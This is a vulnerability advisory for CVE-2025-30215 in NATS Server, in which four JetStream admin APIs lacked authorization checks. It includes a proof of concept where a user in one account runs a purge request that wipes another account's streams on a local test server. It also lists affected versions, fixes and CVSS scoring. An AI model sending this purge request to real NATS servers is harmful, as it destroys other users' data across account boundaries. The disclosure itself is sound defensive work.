CVE-2025-30215
ADVISORY - githubSummary
Advisory
The management of JetStream assets happens with messages in the $JS.
subject namespace in the system account; this is partially exposed into regular accounts to allow account holders to manage their assets.
Some of the JS API requests were missing access controls, allowing any user with JS management permissions in any account to perform certain administrative actions on any JS asset in any other account. At least one of the unprotected APIs allows for data destruction. None of the affected APIs allow disclosing stream contents.
Affected versions
NATS Server:
- Version 2 from v2.2.0 onwards, prior to v2.11.1 or v2.10.27
Original Report
(Lightly edited to confirm some supposition and in the summary to use past tense)
Summary
nats-server did not include authorization checks on 4 separate admin-level JetStream APIs: account purge, server remove, account stream move, and account stream cancel-move.
In all cases, APIs are not properly restricted to system-account users. Instead, any authorized user can execute the APIs, including across account boundaries, as long as the current user merely has permission to publish on $JS.>
.
Only the first seems to be of highest severity. All are included in this single report as they seem likely to have the same underlying root cause.
Reproduction of the ACCOUNT.PURGE
case is below. The others are like it.
Details & Impact
Issue 1: $JS.API.ACCOUNT.PURGE.*
Any user may perform an account purge of any other account (including their own).
Risk: total destruction of Jetstream configuration and data.
Issue 2: $JS.API.SERVER.REMOVE
Any user may remove servers from Jetstream clusters.
Risk: Loss of data redundancy, reduction of service quality.
Issue 3: $JS.API.ACCOUNT.STREAM.MOVE.*.*
and CANCEL_MOVE
Any user may cause streams to be moved between servers.
Risk: loss of control of data provenance, reduced service quality during move, enumeration of account and/or stream names.
Similarly for $JS.API.ACCOUNT.STREAM.CANCEL_MOVE.*.*
Mitigations
It appears that users without permission to publish on $JS.API.ACCOUNT.>
or $JS.API.SERVER.>
are unable to execute the above APIs.
Unfortunately, in many configurations, an 'admin' user for a single account will be given permissions for $JS.>
(or simply >
), which allows the improper access to the system APIs above.
Scope of impact
Issues 1 and 3 both cross boundaries between accounts, violating promised account isolation. All 3 allow system level access to non-system account users.
While I cannot speak to what authz configurations are actually found in the wild, per the discussion in Mitigations above, it seems likely that at least some configurations are vulnerable.
Additional notes
It appears that $JS.API.META.LEADER.STEPDOWN
does properly restrict to system account users. As such, this may be a pattern for how to properly authorize these other APIs.
PoC
Environment
Tested with: nats-server 2.10.26 (installed via homebrew) nats cli 0.1.6 (installed via homebrew) macOS 13.7.4
Reproduction steps
$ nats-server --version
nats-server: v2.10.26
$ nats --version
0.1.6
$ cat nats-server.conf
listen: '0.0.0.0:4233'
jetstream: {
store_dir: './tmp'
}
accounts: {
'$SYS': {
users: [{user: 'sys', password: 'sys'}]
},
'TEST': {
jetstream: true,
users: [{user: 'a', password: 'a'}]
},
'TEST2': {
jetstream: true,
users: [{user: 'b', password: 'b'}]
}
}
$ nats-server -c ./nats-server.conf
...
[90608] 2025/03/02 11:43:18.494663 [INF] Using configuration file: ./nats-server.conf
...
[90608] 2025/03/02 11:43:18.496395 [INF] Listening for client connections on 0.0.0.0:4233
...
# Authentication is effectively enabled by the server:
$ nats -s nats://localhost:4233 account info
nats: error: setup failed: nats: Authorization Violation
$ nats -s nats://localhost:4233 account info --user sys --password wrong
nats: error: setup failed: nats: Authorization Violation
$ nats -s nats://localhost:4233 account info --user a --password wrong
nats: error: setup failed: nats: Authorization Violation
$ nats -s nats://localhost:4233 account info --user b --password wrong
nats: error: setup failed: nats: Authorization Violation
# Valid credentials work, and users properly matched to accounts:
$ nats -s nats://localhost:4233 account info --user sys --password sys
Account Information
User: sys
Account: $SYS
...
$ nats -s nats://localhost:4233 account info --user a --password a
Account Information
User: a
Account: TEST
...
$ nats -s nats://localhost:4233 account info --user b --password b
Account Information
User: b
Account: TEST2
...
# Add a stream and messages to account TEST (user 'a'):
$ nats -s nats://localhost:4233 --user a --password a stream add stream1 --subjects s1 --storage file --defaults
Stream stream1 was created
...
$ nats -s nats://localhost:4233 --user a --password a publish s1 --count 3 "msg {{Count}}"
11:50:05 Published 5 bytes to "s1"
11:50:05 Published 5 bytes to "s1"
11:50:05 Published 5 bytes to "s1"
# Messages are correctly persisted on account TEST, and not on TEST2:
$ nats -s nats://localhost:4233 --user a --password a stream ls
╭───────────────────────────────────────────────────────────────────────────────╮
│ Streams │
├─────────┬─────────────┬─────────────────────┬──────────┬───────┬──────────────┤
│ Name │ Description │ Created │ Messages │ Size │ Last Message │
├─────────┼─────────────┼─────────────────────┼──────────┼───────┼──────────────┤
│ stream1 │ │ 2025-03-02 11:48:49 │ 3 │ 111 B │ 46.01s │
╰─────────┴─────────────┴─────────────────────┴──────────┴───────┴──────────────╯
$ nats -s nats://localhost:4233 --user b --password b stream ls
No Streams defined
$ du -h tmp/jetstream
0B tmp/jetstream/TEST/streams/stream1/obs
8.0K tmp/jetstream/TEST/streams/stream1/msgs
16K tmp/jetstream/TEST/streams/stream1
16K tmp/jetstream/TEST/streams
16K tmp/jetstream/TEST
16K tmp/jetstream
# User b (account TEST2) sends a PURGE command for account TEST (user a).
# According to the source comments, user b shouldn't even be able to purge it's own account, much less another one.
$ nats -s nats://localhost:4233 --user b --password b request '$JS.API.ACCOUNT.PURGE.TEST' ''
11:54:50 Sending request on "$JS.API.ACCOUNT.PURGE.TEST"
11:54:50 Received with rtt 1.528042ms
{"type":"io.nats.jetstream.api.v1.account_purge_response","initiated":true}
# From nats-server in response to the purge request:
[90608] 2025/03/02 11:54:50.277144 [INF] Purge request for account TEST (streams: 1, hasAccount: true)
# And indeed, the stream data is gone on account TEST:
$ du -h tmp/jetstream
0B tmp/jetstream
$ nats -s nats://localhost:4233 --user a --password a stream ls
No Streams defined
Common Weakness Enumeration (CWE)
GitHub
CVSS SCORE
9.6criticalPackage | Type | OS Name | OS Version | Affected Ranges | Fix Versions |
---|---|---|---|---|---|
github.com/nats-io/nats-server/v2 | golang | - | - | >=2.2.0,<2.10.27 | 2.10.27 |
github.com/nats-io/nats-server/v2 | golang | - | - | >=2.11.0-RC.1,<2.11.1 | 2.11.1 |
github.com/nats-io/nats-server/v2 | golang | - | - | >=0.0.0-20210315022129-0e3c7230e4b7,<0.0.0-20250408162009-6b830a942419 | 0.0.0-20250408162009-6b830a942419 |
CVSS:3 Severity and metrics
The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.
The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
The vulnerable system can be exploited without interaction from any user.
An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.
There is no loss of confidentiality.
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any or all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component.
NIST
CVSS SCORE
9.6criticalAlpine
-
Debian
-
Ubuntu
-
CVSS SCORE
N/AmediumGoLang
-
Bitnami
BIT-nats-2025-30215
3.1
CVSS SCORE
9.6criticalChainguard
CGA-75ww-3pqh-cxj4
-
Chainguard
CGA-8j5x-fhf3-4x84
-
Chainguard
CGA-qfr6-6xgx-436g
-
Chainguard
CGA-r99h-969q-5f7p
-
Chainguard
CGA-v26x-gh9w-5jmf
-
Chainguard
CGA-vfmx-334w-2329
-
Chainguard
CGA-wr76-cgvp-g297
-